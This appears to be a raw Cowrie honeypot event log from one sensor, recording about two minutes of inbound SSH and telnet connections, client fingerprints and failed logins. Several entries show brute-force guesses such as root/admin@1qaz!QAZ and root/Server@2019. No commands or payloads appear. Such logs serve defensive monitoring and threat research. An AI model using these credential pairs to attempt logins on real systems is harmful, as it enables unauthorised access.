{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37340,"dst_ip":"159.203.135.109","dst_port":23,"session":"76f9987a6799","protocol":"telnet","message":"New connection: 128.199.8.54:37340 (159.203.135.109:23) [session: 76f9987a6799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:17:15.949579Z"}
{"eventid":"cowrie.session.closed","duration":45.17739248275757,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:17:34.606861Z","src_ip":"128.199.8.54","session":"74845cce1a74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.46836185455322,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:17:37.814679Z","src_ip":"172.81.62.90","session":"e60313e03672","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.33525109291077,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:17:43.246915Z","src_ip":"172.81.62.90","session":"1f2b3a14965d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":5787,"dst_ip":"159.203.135.109","dst_port":22,"session":"004ec0edc501","protocol":"ssh","message":"New connection: 178.20.210.208:5787 (159.203.135.109:22) [session: 004ec0edc501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:17:57.017320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:17:57.021146Z","src_ip":"178.20.210.208","session":"004ec0edc501","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:17:57.123396Z","src_ip":"178.20.210.208","session":"004ec0edc501","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@1qaz!QAZ","message":"login attempt [root/admin@1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:17:58.005837Z","src_ip":"178.20.210.208","session":"004ec0edc501","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:17:59.109963Z","src_ip":"178.20.210.208","session":"004ec0edc501","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":35062,"dst_ip":"159.203.135.109","dst_port":22,"session":"e42057fea75a","protocol":"ssh","message":"New connection: 85.198.19.241:35062 (159.203.135.109:22) [session: e42057fea75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:02.990487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:04.302282Z","src_ip":"85.198.19.241","session":"e42057fea75a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:04.305772Z","src_ip":"85.198.19.241","session":"e42057fea75a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.44865608215332,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:06.398085Z","src_ip":"128.199.8.54","session":"76f9987a6799","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":34222,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a6b735741c9","protocol":"ssh","message":"New connection: 38.148.249.2:34222 (10.17.0.5:22) [session: 1a6b735741c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:09.143621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:09.147668Z","src_ip":"38.148.249.2","session":"1a6b735741c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:09.216288Z","src_ip":"38.148.249.2","session":"1a6b735741c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@2026","message":"login attempt [root/test@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:09.525601Z","src_ip":"38.148.249.2","session":"1a6b735741c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:10.597509Z","src_ip":"38.148.249.2","session":"1a6b735741c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser2026","message":"login attempt [devuser/devuser2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:12.266365Z","src_ip":"85.198.19.241","session":"e42057fea75a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:14.251449Z","src_ip":"85.198.19.241","session":"e42057fea75a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36952,"dst_ip":"159.203.135.109","dst_port":23,"session":"87a6cb6bd4d4","protocol":"telnet","message":"New connection: 172.81.62.90:36952 (159.203.135.109:23) [session: 87a6cb6bd4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:21.434719Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":50678,"dst_ip":"10.17.0.5","dst_port":22,"session":"db9add58726a","protocol":"ssh","message":"New connection: 103.216.145.2:50678 (10.17.0.5:22) [session: db9add58726a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:40.432384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:40.437210Z","src_ip":"103.216.145.2","session":"db9add58726a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:40.634124Z","src_ip":"103.216.145.2","session":"db9add58726a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazxdr5","message":"login attempt [ubuntu/1qazxdr5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:41.455244Z","src_ip":"103.216.145.2","session":"db9add58726a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:42.654762Z","src_ip":"103.216.145.2","session":"db9add58726a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":54227,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e5015f81c95","protocol":"ssh","message":"New connection: 170.80.65.140:54227 (10.17.0.5:22) [session: 9e5015f81c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:44.231582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:44.236985Z","src_ip":"170.80.65.140","session":"9e5015f81c95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:44.360714Z","src_ip":"170.80.65.140","session":"9e5015f81c95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"admin","message":"login attempt [sammy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:44.889896Z","src_ip":"170.80.65.140","session":"9e5015f81c95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":51582,"dst_ip":"10.17.0.5","dst_port":22,"session":"23b62571290b","protocol":"ssh","message":"New connection: 182.93.50.90:51582 (10.17.0.5:22) [session: 23b62571290b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:45.687074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:45.690757Z","src_ip":"182.93.50.90","session":"23b62571290b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:45.909889Z","src_ip":"182.93.50.90","session":"23b62571290b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:46.017181Z","src_ip":"170.80.65.140","session":"9e5015f81c95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd","message":"login attempt [root/abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:46.829789Z","src_ip":"182.93.50.90","session":"23b62571290b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:48.050098Z","src_ip":"182.93.50.90","session":"23b62571290b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":55272,"dst_ip":"10.17.0.5","dst_port":22,"session":"7333d51cfd41","protocol":"ssh","message":"New connection: 43.153.12.68:55272 (10.17.0.5:22) [session: 7333d51cfd41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:51.434434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:51.442512Z","src_ip":"43.153.12.68","session":"7333d51cfd41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:51.512935Z","src_ip":"43.153.12.68","session":"7333d51cfd41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"helpdesk","password":"helpdesk","message":"login attempt [helpdesk/helpdesk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:51.776975Z","src_ip":"43.153.12.68","session":"7333d51cfd41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:52.854377Z","src_ip":"43.153.12.68","session":"7333d51cfd41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":57280,"dst_ip":"159.203.135.109","dst_port":22,"session":"01592b11e2c0","protocol":"ssh","message":"New connection: 216.155.93.75:57280 (159.203.135.109:22) [session: 01592b11e2c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:58.130173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:58.134371Z","src_ip":"216.155.93.75","session":"01592b11e2c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:58.289408Z","src_ip":"216.155.93.75","session":"01592b11e2c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2019","message":"login attempt [root/Server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:18:58.944513Z","src_ip":"216.155.93.75","session":"01592b11e2c0","protocol":"ssh"}
